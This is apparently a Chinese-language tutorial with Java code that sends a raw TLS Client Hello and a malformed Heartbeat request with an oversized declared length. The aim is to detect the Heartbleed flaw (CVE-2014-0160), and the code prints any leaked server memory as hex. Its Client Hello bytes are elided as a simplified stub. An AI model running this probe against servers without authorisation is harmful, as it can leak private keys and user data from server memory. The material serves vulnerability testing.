本程式碼示範如何構造原始 SSL/TLS Client Hello 與 Heartbeat Request 封包,透過原始 Socket 發送並解析回應,用於檢測 Heartbleed (CVE-2014-0160) 弱點。核心技術點:位元組陣列構造協定封包、十六進制字串與 byte 互轉、SSL Record Layer 解析。
// TLS 1.2 Client Hello(簡化版,實際長度較長)
private static final byte[] CLIENT_HELLO = {
0x16, 0x03, 0x02, 0x00, (byte)0xdc, 0x01, 0x00, 0x00, (byte)0xd8, 0x03, 0x02,
// ... 隨機數、Session ID、Cipher Suites、Compression、Extensions ...
};
// Heartbeat Request (Type=24, Payload=0x01 0xff 0xff)
private static final byte[] HEARTBEAT = {
0x18, 0x03, 0x02, 0x00, 0x03, 0x01, (byte)0xff, (byte)0xff
};
HexUtilpackage com.example.util;
public final class HexUtil {
private static final char[] HEX = "0123456789ABCDEF".toCharArray();
private HexUtil() {}
/** byte → 兩位大寫十六進制字串,如 0x0A → "0A" */
public static String byteToHex(byte b) {
return new String(new char[] { HEX[(b >> 4) & 0xF], HEX[b & 0xF] });
}
/** byte[] → 空格分隔十六進制字串,如 {0x01,0x02} → "01 02" */
public static String bytesToHex(byte[] data) {
if (data == null) return "";
StringBuilder sb = new StringBuilder(data.length * 3);
for (byte b : data) {
sb.append(HEX[(b >> 4) & 0xF]).append(HEX[b & 0xF]).append(' ');
}
return sb.toString().trim();
}
/** 十六進制字串 → byte[](忽略空格、大小寫) */
public static byte[] hexToBytes(String hex) {
hex = hex.replaceAll("\\s+", "").toUpperCase();
byte[] out = new byte[hex.length() / 2];
for (int i = 0; i < out.length; i++) {
int hi = Character.digit(hex.charAt(2*i), 16);
int lo = Character.digit(hex.charAt(2*i+1), 16);
out[i] = (byte) ((hi << 4) | lo);
}
return out;
}
/** 兩個 byte 組成的十六進制字串 → long(大端序) */
public static long hexToLong(String twoBytesHex) {
return Long.parseLong(twoBytesHex, 16);
}
/** 將 byte[] 以指定編碼解碼為字串(預設 UTF-8) */
public static String decode(byte[] data, String charset) {
try { return new String(data, charset); }
catch (Exception e) { return new String(data); } // fallback
}
}
public class HeartbeatTester {
public static void main(String[] args) {
test("target.host", 443); // 修改為目標主機與埠
}
public static boolean test(String host, int port) {
try (Socket socket = new Socket()) {
socket.connect(new InetSocketAddress(host, port), 5000);
socket.setSoTimeout(5000);
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
// 1. 發送 Client Hello
out.write(CLIENT_HELLO);
out.flush();
// 2. 讀取 Server Hello / Certificate / Server Hello Done
readRecordLoop(in, 22, 0x0E); // 等待 Server Hello Done (0x0E)
// 3. 發送 Heartbeat Request(連發兩次增加觸發機率)
out.write(HEARTBEAT);
out.write(HEARTBEAT);
out.flush();
// 4. 讀取 Heartbeat Response (Type=24)
byte[] hdr = readExact(in, 5);
if (hdr == null || hdr[0] != 0x18) {
System.out.println("未收到 Heartbeat 回應,可能已修補或不支援");
return false;
}
int payloadLen = (hdr[3] & 0xFF) << 8 | (hdr[4] & 0xFF);
byte[] payload = readExact(in, payloadLen);
System.out.println("收到 Heartbeat 回應,長度: " + payload.length);
System.out.println("內容 (Hex): " + HexUtil.bytesToHex(payload));
if (payload.length > 3) {
System.out.println("⚠️ 伺服器回傳超出請求長度的資料 — 疑似存在 Heartbleed 弱點!");
} else {
System.out.println("✅ 伺服器回應正常,未洩露額外記憶體");
}
return true;
} catch (Exception e) {
System.err.println("測試異常: " + e.getMessage());
return false;
}
}
/** 讀取指定長度位元組 */
private static byte[] readExact(InputStream in, int len) throws IOException {
byte[] buf = new byte[len];
int off = 0;
while (off < len) {
int r = in.read(buf, off, len - off);
if (r == -1) return null;
off += r;
}
return buf;
}
/** 迴圈讀取 TLS Record,直到遇到指定 ContentType 與 Handshake Type */
private static void readRecordLoop(InputStream in, int expectedContentType, int expectedHandshakeType) throws IOException {
while (true) {
byte[] hdr = readExact(in, 5);
if (hdr == null) break;
if (hdr[0] == expectedContentType) {
int len = (hdr[3] & 0xFF) << 8 | (hdr[4] & 0xFF);
byte[] payload = readExact(in, len);
if (payload != null && payload.length > 0 && payload[0] == expectedHandshakeType) {
break;
}
}
}
}
}
| 位移 | 長度 | 欄位 | 說明 |
|---|---|---|---|
| 0 | 1 | Content Type | 0x16=Handshake, 0x17=AppData, 0x18=Heartbeat, 0x15=Alert |
| 1-2 | 2 | Version | 0x0301=TLS1.0, 0x0302=TLS1.1, 0x0303=TLS1.2 |
| 3-4 | 2 | Length | 大端序,後續 payload 長度 |
| 5+ | Length | Payload | Handshake: msg_type(1) + length(3) + body... |
SSL_OP_NO_TLSv1_2 等緩解選項、部署 WAF/IDS 監控異常 Heartbeat 流量。